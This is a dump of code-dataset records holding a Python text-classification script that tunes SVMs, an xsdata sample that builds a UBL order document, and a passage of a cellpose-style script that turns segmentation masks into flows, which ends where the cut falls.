"line_number": 201, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 191, "usage_type": "call"}]} {"seq_id": "6113427606", "text": "from utils import *\nfrom global_data import *\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.svm import LinearSVC\nfrom sklearn.model_selection import cross_val_score\n\nlogging.info(\"Problem f\")\n\ngamma = [1000, 100, 10, 1, 0.1, 0.01, 0.001]\n\nmethod_arr = [TruncatedSVD(n_components=50, n_iter=10, random_state=17),\n NMF(n_components=50, random_state=17)]\nmethod_name = [\"LSI\", \"NMF\"]\n\ntrain_reduced = []\ntest_reduced = []\n\nfor method in method_arr:\n pipeline_f = Pipeline([\n ('vect', CountVectorizer(min_df=MIN_DF, stop_words=ENGLISH_STOP_WORDS, tokenizer=stem_and_tokenize)),\n ('tfidf', TfidfTransformer()),\n ('reduce_dim', method),\n ])\n train_reduced.append(pipeline_f.fit_transform(train_data.data))\n test_reduced.append(pipeline_f.fit_transform(test_data.data))\n\n\nbest_g = []\nfor ai, method in enumerate(method_name):\n print(\"Using method \"+method)\n Score = []\n for g in gamma:\n Score.append(np.average(cross_val_score(LinearSVC(C=g), train_reduced[ai], train_label, cv=5, n_jobs=-1)))\n plt.figure()\n plt.xlabel(\"Gamma\")\n plt.ylabel('5-fold Cross Validation Score')\n plt.ylim([0.0, 1.05])\n plt.xscale('log')\n plt.plot(gamma, Score)\n plt.show()\n best_g.append(gamma[np.argmax(Score)])\n print(\"Best value for gamma: \", best_g[ai])\n\n pipeline_f = Pipeline([\n ('vect', CountVectorizer(min_df=mdf, stop_words=ENGLISH_STOP_WORDS, tokenizer=stem_and_tokenize)),\n ('tfidf', TfidfTransformer()),\n ('reduce_dim', TruncatedSVD(n_components=50, n_iter=10, random_state=17)),\n ('clf', LinearSVC(C=best_g[ai])),\n ])\n pipeline_f.fit(train_data.data, train_label)\n pred_test = pipeline_f.predict(test_data.data)\n pred_test_prob = pipeline_f.decision_function(test_data.data)\n print(\"-\" * 70)\n print(\"Using method \"+method+\" and best gamma %f\" % best_g[ai])\n analyze(test_label, pred_test_prob, pred_test, CAT, 2)\n print(\"-\" * 70)\n\n\nlogging.info(\"finished Problem f\")\n", "repo_name": "popo0293/EE219Proj1", "sub_path": "f.py", "file_name": "f.py", "file_ext": "py", "file_size_in_byte": 2001, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "sklearn.pipeline.Pipeline", "line_number": 19, "usage_type": "call"}, {"api_name": "sklearn.model_selection.cross_val_score", "line_number": 33, "usage_type": "call"}, {"api_name": "sklearn.svm.LinearSVC", "line_number": 33, "usage_type": "call"}, {"api_name": "sklearn.pipeline.Pipeline", "line_number": 44, "usage_type": "call"}, {"api_name": "sklearn.svm.LinearSVC", "line_number": 48, "usage_type": "call"}]} {"seq_id": "43214698462", "text": "from decimal import Decimal\nfrom ubl.models.common.ubl_common_aggregate_components_2_1 import AddressLine\nfrom ubl.models.common.ubl_common_aggregate_components_2_1 import AnticipatedMonetaryTotal\nfrom ubl.models.common.ubl_common_aggregate_components_2_1 import BuyerCustomerParty\nfrom ubl.models.common.ubl_common_aggregate_components_2_1 import BuyersItemIdentification\nfrom ubl.models.common.ubl_common_aggregate_components_2_1 import Contact\nfrom ubl.models.common.ubl_common_aggregate_components_2_1 import Country\nfrom ubl.models.common.ubl_common_aggregate_components_2_1 import Delivery\nfrom ubl.models.common.ubl_common_aggregate_components_2_1 import DeliveryAddress\nfrom ubl.models.common.ubl_common_aggregate_components_2_1 import DeliveryLocation\nfrom ubl.models.common.ubl_common_aggregate_components_2_1 import DeliveryTerms\nfrom ubl.models.common.ubl_common_aggregate_components_2_1 import Item\nfrom ubl.models.common.ubl_common_aggregate_components_2_1 import LineItem\nfrom ubl.models.common.ubl_common_aggregate_components_2_1 import OrderLine\nfrom ubl.models.common.ubl_common_aggregate_components_2_1 import OriginatorCustomerParty\nfrom ubl.models.common.ubl_common_aggregate_components_2_1 import Party\nfrom ubl.models.common.ubl_common_aggregate_components_2_1 import PartyName\nfrom ubl.models.common.ubl_common_aggregate_components_2_1 import PartyTaxScheme\nfrom ubl.models.common.ubl_common_aggregate_components_2_1 import PostalAddress\nfrom ubl.models.common.ubl_common_aggregate_components_2_1 import Price\nfrom ubl.models.common.ubl_common_aggregate_components_2_1 import RequestedDeliveryPeriod\nfrom ubl.models.common.ubl_common_aggregate_components_2_1 import SellerSupplierParty\nfrom ubl.models.common.ubl_common_aggregate_components_2_1 import SellersItemIdentification\nfrom ubl.models.common.ubl_common_aggregate_components_2_1 import TaxScheme\nfrom ubl.models.common.ubl_common_aggregate_components_2_1 import TransactionConditions\nfrom ubl.models.common.ubl_common_basic_components_2_1 import BaseQuantity\nfrom ubl.models.common.ubl_common_basic_components_2_1 import BuildingName\nfrom ubl.models.common.ubl_common_basic_components_2_1 import BuildingNumber\nfrom ubl.models.common.ubl_common_basic_components_2_1 import CityName\nfrom ubl.models.common.ubl_common_basic_components_2_1 import CompanyId\nfrom ubl.models.common.ubl_common_basic_components_2_1 import CountrySubentity\nfrom ubl.models.common.ubl_common_basic_components_2_1 import CountrySubentityCode\nfrom ubl.models.common.ubl_common_basic_components_2_1 import CustomerAssignedAccountId\nfrom ubl.models.common.ubl_common_basic_components_2_1 import CustomizationId\nfrom ubl.models.common.ubl_common_basic_components_2_1 import Description\nfrom ubl.models.common.ubl_common_basic_components_2_1 import ElectronicMail\nfrom ubl.models.common.ubl_common_basic_components_2_1 import ExemptionReason\nfrom ubl.models.common.ubl_common_basic_components_2_1 import Id\nfrom ubl.models.common.ubl_common_basic_components_2_1 import IdentificationCode\nfrom ubl.models.common.ubl_common_basic_components_2_1 import Line\nfrom ubl.models.common.ubl_common_basic_components_2_1 import LineExtensionAmount\nfrom ubl.models.common.ubl_common_basic_components_2_1 import LineStatusCode\nfrom ubl.models.common.ubl_common_basic_components_2_1 import Name\nfrom ubl.models.common.ubl_common_basic_components_2_1 import Note\nfrom ubl.models.common.ubl_common_basic_components_2_1 import PayableAmount\nfrom ubl.models.common.ubl_common_basic_components_2_1 import PostalZone\nfrom ubl.models.common.ubl_common_basic_components_2_1 import PriceAmount\nfrom ubl.models.common.ubl_common_basic_components_2_1 import ProfileId\nfrom ubl.models.common.ubl_common_basic_components_2_1 import Quantity\nfrom ubl.models.common.ubl_common_basic_components_2_1 import RegistrationName\nfrom ubl.models.common.ubl_common_basic_components_2_1 import SalesOrderId\nfrom ubl.models.common.ubl_common_basic_components_2_1 import StreetName\nfrom ubl.models.common.ubl_common_basic_components_2_1 import SupplierAssignedAccountId\nfrom ubl.models.common.ubl_common_basic_components_2_1 import TaxTypeCode\nfrom ubl.models.common.ubl_common_basic_components_2_1 import Telefax\nfrom ubl.models.common.ubl_common_basic_components_2_1 import Telephone\nfrom ubl.models.common.ubl_common_basic_components_2_1 import UblversionId\nfrom ubl.models.common.ubl_common_basic_components_2_1 import Uuid\nfrom ubl.models.maindoc.ubl_order_2_1 import Order\nfrom xsdata.models.datatype import XmlDate\nfrom xsdata.models.datatype import XmlTime\n\n\nobj = Order(\n ublversion_id=UblversionId(\n value=\"2.0\"\n ),\n customization_id=CustomizationId(\n value=\"urn:oasis:names:specification:ubl:xpath:Order-2.0:samples-2.0-draft\"\n ),\n profile_id=ProfileId(\n value=\"bpid:urn:oasis:names:draft:bpss:ubl-2-sample-international-scenario\"\n ),\n id=Id(\n value=\"AEG012345\"\n ),\n copy_indicator=False,\n uuid=Uuid(\n value=\"6E09886B-DC6E-439F-82D1-7CCAC7F4E3B1\"\n ),\n issue_date=XmlDate(2005, 6, 20),\n note=[\n Note(\n value=\"sample\"\n ),\n ],\n buyer_customer_party=BuyerCustomerParty(\n customer_assigned_account_id=CustomerAssignedAccountId(\n value=\"XFB01\"\n ),\n supplier_assigned_account_id=SupplierAssignedAccountId(\n value=\"GT00978567\"\n ),\n party=Party(\n party_name=[\n PartyName(\n name=Name(\n value=\"IYT Corporation\"\n )\n ),\n ],\n postal_address=PostalAddress(\n street_name=StreetName(\n value=\"Avon Way\"\n ),\n building_name=BuildingName(\n value=\"Thereabouts\"\n ),\n building_number=BuildingNumber(\n value=\"56A\"\n ),\n city_name=CityName(\n value=\"Bridgtow\"\n ),\n postal_zone=PostalZone(\n value=\"ZZ99 1ZZ\"\n ),\n country_subentity=CountrySubentity(\n value=\"Avon\"\n ),\n address_line=[\n AddressLine(\n line=Line(\n value=\"3rd Floor, Room 5\"\n )\n ),\n ],\n country=Country(\n identification_code=IdentificationCode(\n value=\"GB\"\n )\n )\n ),\n contact=Contact(\n name=Name(\n value=\"Mr Fred Churchill\"\n ),\n telephone=Telephone(\n value=\"+44 127 2653214\"\n ),\n telefax=Telefax(\n value=\"+44 127 2653215\"\n ),\n electronic_mail=ElectronicMail(\n value=\"fred@iytcorporation.gov.uk\"\n )\n )\n )\n ),\n seller_supplier_party=SellerSupplierParty(\n customer_assigned_account_id=CustomerAssignedAccountId(\n value=\"CO001\"\n ),\n party=Party(\n party_name=[\n PartyName(\n name=Name(\n value=\"Consortial\"\n )\n ),\n ],\n postal_address=PostalAddress(\n street_name=StreetName(\n value=\"Boston Road\"\n ),\n building_name=BuildingName(\n value=\"Suite M-102\"\n ),\n building_number=BuildingNumber(\n value=\"630\"\n ),\n city_name=CityName(\n value=\"Billerica\"\n ),\n postal_zone=PostalZone(\n value=\"01821\"\n ),\n country_subentity=CountrySubentity(\n value=\"Massachusetts\"\n ),\n country_subentity_code=CountrySubentityCode(\n value=\"MA\"\n ),\n country=Country(\n identification_code=IdentificationCode(\n value=\"US\"\n )\n )\n ),\n contact=Contact(\n name=Name(\n value=\"Mrs Bouquet\"\n ),\n telephone=Telephone(\n value=\" +1 158 1233714\"\n ),\n telefax=Telefax(\n value=\"+ 1 158 1233856\"\n ),\n electronic_mail=ElectronicMail(\n value=\"bouquet@fpconsortial.com\"\n )\n )\n )\n ),\n originator_customer_party=OriginatorCustomerParty(\n party=Party(\n party_name=[\n PartyName(\n name=Name(\n value=\"The Terminus\"\n )\n ),\n ],\n postal_address=PostalAddress(\n street_name=StreetName(\n value=\"Avon Way\"\n ),\n building_name=BuildingName(\n value=\"Thereabouts\"\n ),\n building_number=BuildingNumber(\n value=\"56A\"\n ),\n city_name=CityName(\n value=\"Bridgtow\"\n ),\n postal_zone=PostalZone(\n value=\"ZZ99 1ZZ\"\n ),\n country_subentity=CountrySubentity(\n value=\"Avon\"\n ),\n address_line=[\n AddressLine(\n line=Line(\n value=\"3rd Floor, Room 5\"\n )\n ),\n ],\n country=Country(\n identification_code=IdentificationCode(\n value=\"GB\"\n )\n )\n ),\n party_tax_scheme=[\n PartyTaxScheme(\n registration_name=RegistrationName(\n value=\"Bridgtow District Council\"\n ),\n company_id=CompanyId(\n value=\"12356478\"\n ),\n exemption_reason=[\n ExemptionReason(\n value=\"Local Authority\"\n ),\n ],\n tax_scheme=TaxScheme(\n id=Id(\n value=\"UK VAT\"\n ),\n tax_type_code=TaxTypeCode(\n value=\"VAT\"\n )\n )\n ),\n ],\n contact=Contact(\n name=Name(\n value=\"S Massiah\"\n ),\n telephone=Telephone(\n value=\"+ 44 127 98876545\"\n ),\n telefax=Telefax(\n value=\"+ 44 127 98876546\"\n ),\n electronic_mail=ElectronicMail(\n value=\"smassiah@the-email.co.uk\"\n )\n )\n )\n ),\n delivery=[\n Delivery(\n delivery_address=DeliveryAddress(\n street_name=StreetName(\n value=\"Avon Way\"\n ),\n building_name=BuildingName(\n value=\"Thereabouts\"\n ),\n building_number=BuildingNumber(\n value=\"56A\"\n ),\n city_name=CityName(\n value=\"Bridgtow\"\n ),\n postal_zone=PostalZone(\n value=\"ZZ99 1ZZ\"\n ),\n country_subentity=CountrySubentity(\n value=\"Avon\"\n ),\n address_line=[\n AddressLine(\n line=Line(\n value=\"3rd Floor, Room 5\"\n )\n ),\n ],\n country=Country(\n identification_code=IdentificationCode(\n value=\"GB\"\n )\n )\n ),\n requested_delivery_period=RequestedDeliveryPeriod(\n start_date=XmlDate(2005, 6, 29),\n start_time=XmlTime(1, 0, 0, 0, 0),\n end_date=XmlDate(2005, 6, 30),\n end_time=XmlTime(18, 0, 0, 0, 0)\n )\n ),\n ],\n delivery_terms=[\n DeliveryTerms(\n id=Id(\n value=\"FOB Destination\"\n ),\n delivery_location=DeliveryLocation(\n id=Id(\n value=\"GBFXT\"\n ),\n description=[\n Description(\n value=\"Felixstowe\"\n ),\n ]\n )\n ),\n ],\n transaction_conditions=TransactionConditions(\n description=[\n Description(\n value=\"Please advise when transport is booked.\"\n ),\n ]\n ),\n anticipated_monetary_total=AnticipatedMonetaryTotal(\n line_extension_amount=LineExtensionAmount(\n value=Decimal(\"1000.00\"),\n currency_id=\"USD\"\n ),\n payable_amount=PayableAmount(\n value=Decimal(\"1000.00\"),\n currency_id=\"USD\"\n )\n ),\n order_line=[\n OrderLine(\n note=[\n Note(\n value=\"this is an illustrative order line\"\n ),\n ],\n line_item=LineItem(\n id=Id(\n value=\"1\"\n ),\n sales_order_id=SalesOrderId(\n value=\"A\"\n ),\n line_status_code=LineStatusCode(\n value=\"NoStatus\"\n ),\n quantity=Quantity(\n value=Decimal(\"100\"),\n unit_code=\"KGM\"\n ),\n line_extension_amount=LineExtensionAmount(\n value=Decimal(\"1000.00\"),\n currency_id=\"USD\"\n ),\n price=Price(\n price_amount=PriceAmount(\n value=Decimal(\"10.00\"),\n currency_id=\"USD\"\n ),\n base_quantity=BaseQuantity(\n value=Decimal(\"1\"),\n unit_code=\"KGM\"\n )\n ),\n item=Item(\n description=[\n Description(\n value=\"Beeswax\"\n ),\n ],\n name=Name(\n value=\"Acme Beeswax\"\n ),\n buyers_item_identification=BuyersItemIdentification(\n id=Id(\n value=\"6578489\"\n )\n ),\n sellers_item_identification=SellersItemIdentification(\n id=Id(\n value=\"17589683\"\n )\n )\n )\n )\n ),\n ]\n)\n", "repo_name": "tefra/xsdata-samples", "sub_path": "ubl/samples/UBL-Order-2.0-Example-International.py", "file_name": "UBL-Order-2.0-Example-International.py", "file_ext": "py", "file_size_in_byte": 15581, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "70", "api": [{"api_name": "ubl.models.maindoc.ubl_order_2_1.Order", "line_number": 64, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.UblversionId", "line_number": 65, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.CustomizationId", "line_number": 68, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.ProfileId", "line_number": 71, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.Id", "line_number": 74, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.Uuid", "line_number": 78, "usage_type": "call"}, {"api_name": "xsdata.models.datatype.XmlDate", "line_number": 81, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.Note", "line_number": 83, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.BuyerCustomerParty", "line_number": 87, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.CustomerAssignedAccountId", "line_number": 88, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.SupplierAssignedAccountId", "line_number": 91, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.Party", "line_number": 94, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.PartyName", "line_number": 96, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.Name", "line_number": 97, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.PostalAddress", "line_number": 102, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.StreetName", "line_number": 103, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.BuildingName", "line_number": 106, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.BuildingNumber", "line_number": 109, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.CityName", "line_number": 112, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.PostalZone", "line_number": 115, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.CountrySubentity", "line_number": 118, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.AddressLine", "line_number": 122, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.Line", "line_number": 123, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.Country", "line_number": 128, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.IdentificationCode", "line_number": 129, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.Contact", "line_number": 134, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.Name", "line_number": 135, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.Telephone", "line_number": 138, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.Telefax", "line_number": 141, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.ElectronicMail", "line_number": 144, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.SellerSupplierParty", "line_number": 150, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.CustomerAssignedAccountId", "line_number": 151, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.Party", "line_number": 154, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.PartyName", "line_number": 156, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.Name", "line_number": 157, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.PostalAddress", "line_number": 162, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.StreetName", "line_number": 163, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.BuildingName", "line_number": 166, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.BuildingNumber", "line_number": 169, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.CityName", "line_number": 172, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.PostalZone", "line_number": 175, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.CountrySubentity", "line_number": 178, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.CountrySubentityCode", "line_number": 181, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.Country", "line_number": 184, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.IdentificationCode", "line_number": 185, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.Contact", "line_number": 190, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.Name", "line_number": 191, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.Telephone", "line_number": 194, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.Telefax", "line_number": 197, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.ElectronicMail", "line_number": 200, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.OriginatorCustomerParty", "line_number": 206, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.Party", "line_number": 207, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.PartyName", "line_number": 209, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.Name", "line_number": 210, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.PostalAddress", "line_number": 215, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.StreetName", "line_number": 216, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.BuildingName", "line_number": 219, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.BuildingNumber", "line_number": 222, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.CityName", "line_number": 225, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.PostalZone", "line_number": 228, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.CountrySubentity", "line_number": 231, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.AddressLine", "line_number": 235, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.Line", "line_number": 236, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.Country", "line_number": 241, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.IdentificationCode", "line_number": 242, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.PartyTaxScheme", "line_number": 248, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.RegistrationName", "line_number": 249, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.CompanyId", "line_number": 252, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.ExemptionReason", "line_number": 256, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.TaxScheme", "line_number": 260, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.Id", "line_number": 261, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.TaxTypeCode", "line_number": 264, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.Contact", "line_number": 270, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.Name", "line_number": 271, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.Telephone", "line_number": 274, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.Telefax", "line_number": 277, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.ElectronicMail", "line_number": 280, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.Delivery", "line_number": 287, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.DeliveryAddress", "line_number": 288, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.StreetName", "line_number": 289, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.BuildingName", "line_number": 292, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.BuildingNumber", "line_number": 295, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.CityName", "line_number": 298, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.PostalZone", "line_number": 301, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.CountrySubentity", "line_number": 304, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.AddressLine", "line_number": 308, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.Line", "line_number": 309, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.Country", "line_number": 314, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.IdentificationCode", "line_number": 315, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.RequestedDeliveryPeriod", "line_number": 320, "usage_type": "call"}, {"api_name": "xsdata.models.datatype.XmlDate", "line_number": 321, "usage_type": "call"}, {"api_name": "xsdata.models.datatype.XmlTime", "line_number": 322, "usage_type": "call"}, {"api_name": "xsdata.models.datatype.XmlDate", "line_number": 323, "usage_type": "call"}, {"api_name": "xsdata.models.datatype.XmlTime", "line_number": 324, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.DeliveryTerms", "line_number": 329, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.Id", "line_number": 330, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.DeliveryLocation", "line_number": 333, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.Id", "line_number": 334, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.Description", "line_number": 338, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.TransactionConditions", "line_number": 345, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.Description", "line_number": 347, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.AnticipatedMonetaryTotal", "line_number": 352, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.LineExtensionAmount", "line_number": 353, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 354, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.PayableAmount", "line_number": 357, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 358, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.OrderLine", "line_number": 363, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.Note", "line_number": 365, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.LineItem", "line_number": 369, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.Id", "line_number": 370, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.SalesOrderId", "line_number": 373, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.LineStatusCode", "line_number": 376, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.Quantity", "line_number": 379, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 380, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.LineExtensionAmount", "line_number": 383, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 384, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.Price", "line_number": 387, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.PriceAmount", "line_number": 388, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 389, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.BaseQuantity", "line_number": 392, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 393, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.Item", "line_number": 397, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.Description", "line_number": 399, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.Name", "line_number": 403, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.BuyersItemIdentification", "line_number": 406, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.Id", "line_number": 407, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_aggregate_components_2_1.SellersItemIdentification", "line_number": 411, "usage_type": "call"}, {"api_name": "ubl.models.common.ubl_common_basic_components_2_1.Id", "line_number": 412, "usage_type": "call"}]} {"seq_id": "10946147260", "text": "import torch\nimport scipy\nimport numpy as np\n\ndef seg2diffgrads(label: np.ndarray) -> np.array:\n # input: (y, x) for 2D data or (z, y, x) with z>1 for 3D data\n # output: (2, y, x) for 2D data & (2, z, y, x) for 3D data (channel first)\n masks = label.squeeze().astype(np.int32)\n\n if masks.ndim==3:\n z, y, x = masks.shape\n mu = np.zeros((2, z, y, x), np.float32)\n for z in range(z):\n mu0 = masks2flows(masks[z])[0]\n mu[:, z] = mu0 \n flows = mu.astype(np.float32)\n elif masks.ndim==2:\n mu, _, _ = masks2flows(masks)\n flows = mu.astype(np.float32)\n else:\n raise ValueError('expecting 2D or 3D labels but received %dD input!' % masks.ndim)\n\n return flows\n\n\ndef masks2flows(masks: np.ndarray):\n \"\"\"Convert masks to flows using diffusion from center pixel. Center of masks is defined to be the \n closest pixel to the median of all pixels that is inside the mask. Result of diffusion is converted \n into flows by computing the gradients of the diffusion density map. This function is adapted from\n https://github.com/MouseLand/cellpose.\n \"\"\"\n h, w = masks.shape\n masks_padded = np.pad(masks, 1, mode='constant', constant_values=0).astype(np.int64)\n mu0 = np.zeros((2, h, w))\n mu_c = np.zeros_like(mu0)\n centers = np.zeros((masks.max(), 2), 'int')\n\n # get mask pixel neighbors\n y, x = np.nonzero(masks_padded)\n neighborsY = np.stack((y, y-1, y+1, \n y, y, y-1, \n y-1, y+1, y+1), axis=0)\n neighborsX = np.stack((x, x, x, \n x-1, x+1, x-1, \n x+1, x-1, x+1), axis=0)\n neighbors = np.stack((neighborsY, neighborsX), axis=-1)\n\n # get mask centers\n slices = scipy.ndimage.find_objects(masks)\n for i, si in enumerate(slices):\n if si is None: # the object index does not exist\n continue\n\n sr, sc = 